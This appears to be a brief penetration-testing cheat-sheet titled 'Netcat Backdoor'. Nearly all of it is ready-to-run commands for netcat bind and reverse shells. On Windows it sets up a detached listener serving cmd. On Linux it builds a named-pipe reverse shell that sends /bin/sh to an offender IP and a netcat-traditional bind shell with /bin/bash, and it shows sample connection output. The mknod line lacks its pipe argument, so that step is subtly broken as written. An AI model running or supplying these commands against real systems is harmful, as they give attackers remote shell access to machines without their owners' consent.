Netcat Backdoor

Windows

Victim

• C:\Users\admin\Downloads>nc -L -p 10011 -d -e cmd

Linux

without netcat-openbsd

VICTIM=10.1.1.1 OFFENDER=10.1.1.2

• root@offender:~# nc -nvlp 8668
• root@victim:~# mknod /tmp/backpipe
• root@victim:~# /bin/sh 0</tmp/backpipe | nc $OFFENDER 8668 1>/tmp/backpipe
• root@offender:~# nc -nvlp 8668

listening on [any] 8668 ...
connect to [10.1.1.2] from (UNKNOWN) [10.1.1.1] 54154

with netcat-traditional

• root@victim:~# nc.traditional -l -p 10001 -e /bin/bash
• root@offender:~# netcat 10.1.1.1 10001

Links

• https://pen-testing.sans.org/blog/2013/05/06/netcat-without-e-no-problem